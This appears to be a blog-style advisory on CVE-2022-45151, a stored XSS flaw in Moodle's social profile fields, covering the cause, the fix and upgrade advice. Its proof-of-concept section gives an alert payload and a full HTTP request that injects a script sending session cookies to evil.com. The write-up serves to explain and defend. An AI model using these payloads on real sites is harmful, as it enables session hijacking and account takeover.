CVE-2022-45151 - Stored XSS in Moodle User Profile Fields
In November 2022, a security vulnerability was discovered in Moodle, one of the world’s most popular open-source learning management systems. The flaw, assigned CVE-2022-45151, exposes platforms and users to *stored cross-site scripting (XSS)* attacks. Specifically, attackers can use certain social profile fields to inject malicious code that later gets executed in other users’ browsers.
This post will break down the vulnerability, show how an attack works, and explain what Moodle administrators and users need to do to stay safe.
What is CVE-2022-45151?
CVE-2022-45151 exists because Moodle doesn’t correctly sanitize some user-supplied inputs in a few user profile fields (think: Facebook, Twitter fields, etc.). When someone fills out their profile and enters, say, a Facebook link, Moodle should clean up ("sanitize") that data to ensure it can’t be used to break out of the web page and run unwanted code.
In this case, the cleaning step failed. A clever attacker could enter text that, instead of acting as a harmless social link, actually contains JavaScript code. Whenever another user sees the attacker's profile (examples: in a forum, in grading, in the participants’ list), that script runs on their browser.
These fields are available for all Moodle users to fill out in their profiles. The data in those gets displayed around the site for various features.
Why is This Stored XSS?
Unlike *reflected* XSS, where the payload is included in a URL or request and immediately reflected, *stored* XSS is more dangerous. Here, the attacker inputs malicious code into a field that gets saved ("stored") in the Moodle database. Later, when another user or even a site administrator loads a page displaying that field, the browser runs the attacker's code.
Proof of Concept (PoC)
Suppose the attacker wants to exploit the "Twitter" field in their user profile.
In the "Twitter" field, instead of a username, they insert the following payload
"><script>alert('XSS by attacker!')</script>
The attacker saves the changes.
4. Anyone (student, teacher, admin) who views the attacker's profile or sees it embedded (maybe in forums or class lists) will trigger the pop-up.
Of course, real attacks can do a lot more than just display an alert—they might steal session cookies, perform privileged actions, or spread malware!
Here's how the malicious payload might look in a HTTP request when updating a profile
POST /user/edit.php?id=123 HTTP/1.1
Host: moodle.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: MoodleSession=abcdefgh12345678
id=123&twitter="><script>fetch('https://evil.com/cookie?c='+document.cookie)</script>
This version would steal the user's session cookie and send it to an attacker's server.
References
- Original Moodle Security Advisory - MSA-22-0057
- NVD Database: CVE-2022-45151
- Moodle GitHub Issue
What’s the Fix?
Moodle developers quickly released updates to sanitize the problematic fields. They now check that social media usernames only contain allowed characters and strip anything suspicious.
If you run a Moodle site:
*Upgrade immediately.*
Exploit Demonstration
This is a minimal attack vector using only the profile interface and no special tools.
Browse to any page where your profile appears. The alert will pop up.
Admins can check their own site by testing harmless scripts like above. Never use harmful payloads, and always patch immediately after testing.
Conclusion
CVE-2022-45151 shows how even small oversights in input sanitization can lead to critical security issues. If you manage a Moodle instance, ensure it’s fully up to date and monitor release notes for future vulnerabilities.
Stored XSS can have far-reaching effects in an educational context where people trust the platform. Teach users about the risks of unexpected popups or login prompts as extra defense.
More Reading
- OWASP: Cross-site Scripting (XSS)
- Moodle Security Guidelines
*Written for clarity and practical understanding—please do not use this information for any unauthorized activity. Educate and protect!*
Timeline
Published on: 11/23/2022 15:15:00 UTC
Last modified on: 01/31/2023 20:05:00 UTC